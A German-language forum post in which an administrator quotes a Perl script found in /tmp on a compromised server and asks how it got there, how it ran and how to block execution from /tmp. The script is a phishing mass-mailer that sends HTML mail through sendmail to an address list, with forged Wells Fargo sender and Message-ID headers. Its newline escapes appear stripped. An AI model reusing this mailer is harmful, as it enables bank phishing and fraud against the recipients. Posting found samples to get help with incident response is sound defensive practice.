hatte heute einen (fremden
) Server am Wickel, über den per sendmail Emails verschickt wurden.Hab dann in /tmp ein Script (mit zusätzlichen Dateien - mails.txt, msg.html) entdeckt
Code: Select all
#!/usr/bin/perl
$SUBJ="Periodic Account Renew $id";
$MSG="msg.html";
$USERS="mails.txt";
open(IN,$USERS);
$id=1;
while(chop($line=<IN>)){
open(SM,"|/usr/sbin/sendmail $line");
print(SM "From: Wells Fargo <accounts@$id.wellsfargo.com>n");
print(SM "To: $linen");
print(SM "Subject: $SUBJ - $idn");
print(SM "Message-ID: <".time().".$id.accounts@wellsfargo.com>n");
print("[+] $id - Mensaje enviado : $linen");
print(SM "Content-Type: text/htmln");
open(FILE,$MSG);
while($line=<FILE>){
print(SM $line);
}
close(FILE);
close(SM);
$id++;
}
close(IN);1. wie kann es da hin kommen?
2. Wie kann es von dort ausgeführt worden sein?
3. Kann man verhindern, dass aus dem /tmp überhaupt was ausgeführt wird?
Danke für die Tipps.
